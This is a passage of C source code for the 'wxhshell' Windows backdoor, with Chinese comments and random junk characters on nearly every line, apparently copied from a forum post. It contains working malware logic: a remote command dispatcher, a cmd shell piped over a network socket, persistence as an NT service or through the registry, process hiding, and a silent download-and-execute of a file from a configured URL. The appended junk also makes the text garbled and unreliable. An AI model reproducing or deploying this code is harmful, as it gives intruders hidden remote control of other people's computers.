      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ->9waXRDz)  
    break; R+&{lc  
  } NG+%H1!$_  
  // 安装 } q?*13iy(  
  case 'i': { };m.8(}$)  
    if(Install()) ^ }kqAmr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #Fkn-/nL  
    else G=( ja?d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tNf_,]u  
    break; q;Rhx"x>T  
    } 1sNZl&  
  // 卸载 ./qbWr`L  
  case 'r': { 7X{@$>+S  
    if(Uninstall()) WupONrH1e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $ ?*XPzZ  
    else $z,rN\[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 49!(Sa_]j  
    break;  i|!D  
    } Wr6y w#  
  // 显示 wxhshell 所在路径 yc7 "tptfF  
  case 'p': { eW\C@>Ke  
    char svExeFile[MAX_PATH]; bbG!Fg=qQ?  
    strcpy(svExeFile,"\n\r"); bMGU9~CeJ  
      strcat(svExeFile,ExeFile); SdXAL  
        send(wsh,svExeFile,strlen(svExeFile),0); Ue&I]/?;$  
    break; |Duf 3u  
    } EUmbNV0u  
  // 重启 -~NjZ=vPh  
  case 'b': { j V'~>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SYYg 2I  
    if(Boot(REBOOT)) WR zIK09@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Db'}Y?x]  
    else { GLiD,QX<  
    closesocket(wsh); R<Uu(-O-  
    ExitThread(0); y.aeXlc[  
    } ^!7|B3`  
    break; m?y'Y`  
    } lPA:ho/`:  
  // 关机 QD*\zB  
  case 'd': { -Gj."ks  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $h|8z  
    if(Boot(SHUTDOWN)) )U +Pt98"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *@E&O^%cO  
    else { 2>F `H7W  
    closesocket(wsh); #9/S2m2\YG  
    ExitThread(0); # XeEpdE  
    } F*_ytL  
    break; >jRH<|Az  
    } A 6j>KTU  
  // 获取shell A3A"^f$$  
  case 's': { #eY?6Kjn  
    CmdShell(wsh); #@Rtb\9  
    closesocket(wsh); Ou5,7Ne  
    ExitThread(0); C<E;f]d  
    break; BDcA_= ^R&  
  } +i(;@% kv  
  // 退出 +kM*BCPYE  
  case 'x': { OE(!^"5?[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8z`Ne(h;  
    CloseIt(wsh); df8aM<&m3  
    break; vq8&IL  
    } X8~gLdv8  
  // 离开 D8=a+!l-  
  case 'q': { PS/00F/Ak  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); FQBAt0  
    closesocket(wsh); [ J6q(} f  
    WSACleanup(); 4*?JU v  
    exit(1); 9t"/@CH{  
    break; 0#!Z1:Y  
        } QN8.FiiD  
  } ~+anI  
  } Ixr#zt$T-G  
icXeB_&cS  
  // 提示信息 gVN&?`k*?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =`f"8 ,5  
} )(DX]Tr`  
  } 5@`DS-7h  
v0W/7?D  
  return; I`[s(C>3@  
} F(;95TB  
8]A`WDO3  
// shell模块句柄 Qg5-I$0  
int CmdShell(SOCKET sock) ^T_2 s  
{ ;oJCV"y6$  
STARTUPINFO si; xf 4`+[  
ZeroMemory(&si,sizeof(si)); T`K4nU#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mAuN* (  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ct@i]}"`  
PROCESS_INFORMATION ProcessInfo; 0 ChdFf7  
char cmdline[]="cmd"; Ir$:e*E>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); o(3`-ucD`  
  return 0; y R_x:,|g  
} 95^-ptO{1`  
(a@}J.lL  
// 自身启动模式 #2Z\K>L  
int StartFromService(void) (6~~e$j  
{ $|H7fn(r  
typedef struct L<O"36R  
{ V38v2LI  
  DWORD ExitStatus; KO&oT#S  
  DWORD PebBaseAddress; ]V.0%Ccw;.  
  DWORD AffinityMask; xYD.j~  
  DWORD BasePriority; X Frgnnt  
  ULONG UniqueProcessId; ">'`{mXew  
  ULONG InheritedFromUniqueProcessId; J/ZC<dkYQ  
}   PROCESS_BASIC_INFORMATION; !/6KQdF  
%z5P%F'5   
PROCNTQSIP NtQueryInformationProcess; PXDwTuyc  
Bw*6X` 'Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /]hE?cmj  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5 $:  q  
YY9Ub  
  HANDLE             hProcess; ;eiqzdP  
  PROCESS_BASIC_INFORMATION pbi; )NCSO b  
[LrA_N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L7 g4'  
  if(NULL == hInst ) return 0; U=>4=gsG  
Z*M-PaU}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); # NR 9\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8~eYN- #W&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I+FQ2\J*H  
<:Z-zQp)?  
  if (!NtQueryInformationProcess) return 0; 93fClF|@  
(g#,AX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $S{]` +  
  if(!hProcess) return 0; sA[eKQjaD  
e2*Fe9:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Bw8&Amxx:  
'(&,i/O  
  CloseHandle(hProcess); OE_>Kw7q  
"%fvA;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); riY[p,  
if(hProcess==NULL) return 0; OVf%m~%&s  
(d$ksf_[%f  
HMODULE hMod; Kk<MS$Ov  
char procName[255];  4xnM7t\  
unsigned long cbNeeded; 4Q5 c'  
ey! {  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Hpq?I-g<^  
d}_%xkC  
  CloseHandle(hProcess); nk-V{']  
[I4&E >  
if(strstr(procName,"services")) return 1; // 以服务启动 c&u~M=EW  
J<=k [Q  
  return 0; // 注册表启动 iJem9XXb  
} ;'xd8Jf  
=EdLffU[J  
// 主模块 v %GcNjZk5  
int StartWxhshell(LPSTR lpCmdLine) wC4:OJ[d  
{ A3c&VT6Q  
  SOCKET wsl; ;,Q6AS!  
BOOL val=TRUE; /;\{zA$uC=  
  int port=0; YMTB4|{  
  struct sockaddr_in door; *m 9,_~t  
6d# V  
  if(wscfg.ws_autoins) Install(); (v$$`zh  
s2M|ni=  
port=atoi(lpCmdLine); {rWFgn4Li  
&0QtHcXpR  
if(port<=0) port=wscfg.ws_port; /ng +IC3  
Q ^z&;%q1  
  WSADATA data; "8YXFg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +\@WOs  
;yVT:qd %  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ij}k>qO/2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~Y /55uC  
  door.sin_family = AF_INET; 1E|~;wo\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rP7~ R  
  door.sin_port = htons(port);  t_Rpeav  
Bq)aA)gF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d:1TSJff%/  
closesocket(wsl); Nw=mSW^E  
return 1; 2E d  
} X__>r ?oJ  
6pi^rpo  
  if(listen(wsl,2) == INVALID_SOCKET) { x0dO ^D  
closesocket(wsl); Nq=r404  
return 1; #}U*gVYe  
} m_n*_tX  
  Wxhshell(wsl); yk7l{F  
  WSACleanup(); Bk9? =  
UM QsYD)  
return 0; 56Gc[<nR  
("$ ,FRTQ:  
} mFu0$N6]H  
5\|u] ~b  
// 以NT服务方式启动 M4m90C;dq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) I:9jn"  
{ ,}hJ)  
DWORD   status = 0; nax(V  
  DWORD   specificError = 0xfffffff; &@anv.D  
G,6Zy-Y9  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O.g!k"nas&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 9X6l`bo'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Jf|6 FQo&  
  serviceStatus.dwWin32ExitCode     = 0; eX9Hwq4X44  
  serviceStatus.dwServiceSpecificExitCode = 0; eaGd:(  
  serviceStatus.dwCheckPoint       = 0; lqe71](sK8  
  serviceStatus.dwWaitHint       = 0; ddiBjp2.!  
07:N)y,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A]k-bX= s  
  if (hServiceStatusHandle==0) return; IU*w 'a  
~0ku,P#D  
status = GetLastError(); 1__Mf.A  
  if (status!=NO_ERROR) $7bl,~Z  
{ :?.RZKXQF  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; js#72T/_n  
    serviceStatus.dwCheckPoint       = 0; L&s|<<L  
    serviceStatus.dwWaitHint       = 0; rS3* k3  
    serviceStatus.dwWin32ExitCode     = status; 6 s$jt-bH  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3] u[NR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <h7FS90S  
    return; &lp5W)D  
  } s wIJmA  
0~0OQ/>7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ws>2 S  
  serviceStatus.dwCheckPoint       = 0; nD8CP[bRo  
  serviceStatus.dwWaitHint       = 0; ]sf1+3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); aHvsgp]  
} 3.^Tm+ C  
' 3MCb  
// 处理NT服务事件,比如:启动、停止 +~~&FO2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CS<,qvLpL  
{ }F~4+4B^  
switch(fdwControl) mm,be.  
{ It .`  
case SERVICE_CONTROL_STOP: `43X? yQ  
  serviceStatus.dwWin32ExitCode = 0; YLEa;MR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a7Fc"s*  
  serviceStatus.dwCheckPoint   = 0; 6]*~!al?  
  serviceStatus.dwWaitHint     = 0; ueM[&:g&MU  
  { }&{z-/;H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I3wv6xZ2  
  } w6 x{ <d  
  return; X\a*q]"_  
case SERVICE_CONTROL_PAUSE: :Vyr8+]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kA1C&  
  break; Pfv| K;3i  
case SERVICE_CONTROL_CONTINUE: ^bj aa  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; '`K-rvF,C  
  break; apxY2oE&  
case SERVICE_CONTROL_INTERROGATE: =]auP{AlE  
  break; |dxcEjcY_  
}; A&:i$`m,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7kZ-`V|\.  
} 3Wl,T5}{  
]$VYzE2e  
// 标准应用程序主函数 uuA q\YZy/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?t JyQT  
{ 2W_p)8t> b  
:{ }]$+|)\  
// 获取操作系统版本 S|pMX87R  
OsIsNt=GetOsVer(); \~:Uj~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Vif0z*\e{  
;GgW&*|  
  // 从命令行安装 =QiVcw,G#  
  if(strpbrk(lpCmdLine,"iI")) Install(); /s\_"p  
+?!x;qS^  
  // 下载执行文件 m<DiYxK  
if(wscfg.ws_downexe) { y ;$8C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'K9{xI@N  
  WinExec(wscfg.ws_filenam,SW_HIDE); 69o,T`B  
} ~baVS-v  
APC,p,"  
if(!OsIsNt) { BV8-\R@  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?1G7=R  
HideProc(); d? Old  
StartWxhshell(lpCmdLine); lhk[U!>#  
} .|pyloL.  
else S-8wL%r  
  if(StartFromService()) 2K Um(B.I  
  // 以服务方式启动 @DYxDap{  
  StartServiceCtrlDispatcher(DispatchTable); EPZ^I)  
else FccT@ ,.F  
  // 普通方式启动 .K n)sD1  
  StartWxhshell(lpCmdLine); D]s8w  
x'.OLXx>  
return 0; p..O;_U  
}
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只看该作者 1 发表于: 2006-10-10
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